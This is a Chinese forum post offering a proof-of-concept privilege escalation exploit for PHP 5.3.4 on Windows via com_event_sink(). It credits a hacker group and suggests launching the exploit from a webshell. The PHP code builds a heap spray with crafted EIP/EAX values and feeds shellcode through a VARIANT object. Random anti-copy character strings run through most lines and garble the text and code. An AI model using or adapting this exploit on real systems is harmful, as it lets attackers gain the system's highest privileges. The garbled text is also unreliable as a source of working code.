|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
( Z1 b. |) ?# i/ l3 F) l) T; n% p1 i1 x
测试方法如下:cmd /c x:\php\php.exe x:\test.php& c* T: v2 R* z, a3 \6 j9 V
( H4 ^7 D9 j/ o% j& J. E% \
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
' @: r8 ^0 s( c6 F7 Y: U& k这里是两个测试的截图: d0 C% n$ _" H
e a9 G2 i2 V1 W# ~; N
: O [- f/ R, [8 X1 t' A8 p. x* W2 u: Q
" |( o/ \" v& ?! P
' f' x* M- o, N# E) r成功利用此漏洞的攻击者将获得系统的最高权限1 }1 t, q8 o( A0 x5 Z" G
% G% h8 h3 l' t: o- V# D
; Z( ]% K+ @1 f9 f0 w ]. A7 i! N) c; \: _4 L+ G
! S6 _2 O# k% j/ [5 L2 l1 W5 a) u3 u4 l- O! ^/ L
关于漏洞分析稍后附上。一下是PoC代码:
1 y% D. l; q( M( p% f% Q
8 z5 t# X0 a# l# h# y# o) x- ~<?php0 q* T7 j: B* M* S4 U2 K
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
0 _- W' m+ k- o" i4 u4 c* ^//$eip ="\x44\x43\x42\x41";/ B' e( S! S2 O; J+ g
$eip= "\x4b\xe8\x57\x78"; l0 w9 c8 S* }/ |6 @8 Q* d! e8 c
$eax ="\x80\x01\x8d\x04";
2 ~/ Q% G6 T+ L, k7 M1 l7 x$deodrant="";
3 b1 o& ~0 ?7 {: n2 ?$ K$axespray = str_repeat($eip.$eax,0x80);- B) s j! Z) W- G+ \
//048d0190" g% W) }, O2 r0 a" ^; b& ~ p
echo strlen($axespray);
& q2 h. R X/ A1 ]3 S- {# `echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
1 l& F. U! V5 [ Q% F! Vecho "Silic Group Hacker Army - BlackBap.Org";
" K$ K+ z' H# K% i- q//19200 ==4B32 4b00, P. z* |8 X3 U; ~1 A$ s9 \+ T
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}0 w5 e! K: P- c) D* }
$terminate = "T";
* w' t, ]' m4 M, u0 X$u[] =$deodrant;
, z' Y2 C9 q. S% _# T$r[] =$deodrant.$terminate;! N8 C# J8 Y* |7 d6 k6 H
$a[] =$deodrant.$terminate;6 n( Y o+ F \# s
$s[] =$deodrant.$terminate;
) w7 q+ L0 H B7 m" A) a//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的/ N O) f6 y7 G7 V
$vVar = new VARIANT(0x048d0000+180);/ s8 y1 @1 E; L( F% Y! ~
//弹窗代码(Shellcode)# z& t8 Q8 ?. Q3 v
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";, l5 ~! I, @1 ~+ |( y0 v2 K1 L
$var2 = new VARIANT(0x41414242);
7 e) h" k s) R: ?% n+ M/ I5 scom_event_sink($vVar,$var2,$buffer);
( N1 n6 _% a, ?! R3 f?>$ D9 X: O+ Y5 _. [
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|